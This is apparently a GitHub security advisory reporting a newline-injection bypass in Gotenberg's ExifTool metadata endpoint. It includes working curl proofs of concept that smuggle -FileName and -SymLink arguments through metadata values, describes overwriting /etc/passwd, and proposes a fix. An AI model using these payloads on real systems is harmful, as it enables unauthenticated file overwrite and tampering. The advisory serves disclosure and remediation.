GHSA-q7r4-hc83-hf2q

## Vulnerability Details **CWE**: CWE-20 - Improper Input Validation The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1. ## Summary The metadata write endpoint in v8.30.1 validates metadata **keys** for control characters (commit 405f106) but leaves metadata **values** unsanitized. go-exiftool's `WriteMetadata` sends each key/value pair to ExifTool's stdin as: ``` fmt.Fprintln(e.stdin, "-"+k+"="+str) ``` A `\n` character in `str` splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of `-FileName`, `-Directory`, `-SymLink`, `-HardLink`, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent. ## Root Cause `pkg/modules/exiftool/exiftool.go` — `WriteMetadata()` function: ```go // KEY validation added in v8.30.1 (commit 405f106) for key := range metadata { if !safeKeyPattern.MatchString(key) { // ← only keys checked return fmt.Errorf(...) } } // VALUE passed through unsanitized: case string: fileMetadata[0].SetString(key, val) // ← val may contain \n ``` go-exiftool (`barasher/go-exiftool`) then writes: ```go fmt.Fprintln(e.stdin, "-"+k+"="+str) // If str = "test\n-FileName=/tmp/inject_proof" // ExifTool receives two lines: // -Title=test // -FileName=/tmp/inject_proof ``` ## Steps to Reproduce ``` 1. Start Gotenberg: docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8 2. Create a test PDF: curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \ -o test.pdf http://localhost:3001/forms/chromium/convert/html \ <<< '<html><body>test</body></html>' 3. Inject -FileName via value newline: curl -s -w "\nHTTP %{http_code}" \ -F '[email protected];type=application/pdf' \ -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \ http://localhost:3001/forms/pdfengines/metadata/write # Returns HTTP 404 (file moved away from temp path) 4. Verify injection inside container: docker exec gotenberg-test ls -la /tmp/inject_proof # -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here) 5. Symlink injection: curl -s -w "\nHTTP %{http_code}" \ -F '[email protected];type=application/pdf' \ -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \ http://localhost:3001/forms/pdfengines/metadata/write docker exec gotenberg-test ls -la /tmp/sym_inject # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf ``` ## Impact An unauthenticated attacker can: 1. **Rename/move** any PDF being processed to an arbitrary path in the container filesystem (running as root by default) 2. **Overwrite** arbitrary files — e.g., `-Directory=/etc/ -FileName=passwd` injects two lines, moving the PDF to `/etc/passwd`, corrupting the system user database 3. **Create symlinks** at arbitrary paths via `-SymLink=`, enabling subsequent read/write primitives 4. **Create hard links** via `-HardLink=`, persisting data beyond temp directory cleanup This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the `=` sign. ## Proposed Fix Add value sanitization parallel to the existing key check in `WriteMetadata`: ```go for key, value := range metadata { if !safeKeyPattern.MatchString(key) { return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key) } if str, ok := value.(string); ok { if strings.ContainsAny(str, "\n\r\x00") { return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key) } } } ``` Or, apply the same `safeKeyPattern` logic to string values, or percent-encode newlines before passing to go-exiftool. ### Vulnerable Code ```go // See description for details ``` ## Steps to Reproduce 1. Set up the application using the default configuration 2. See the vulnerability details above ## Impact This vulnerability may allow an attacker to compromise the application.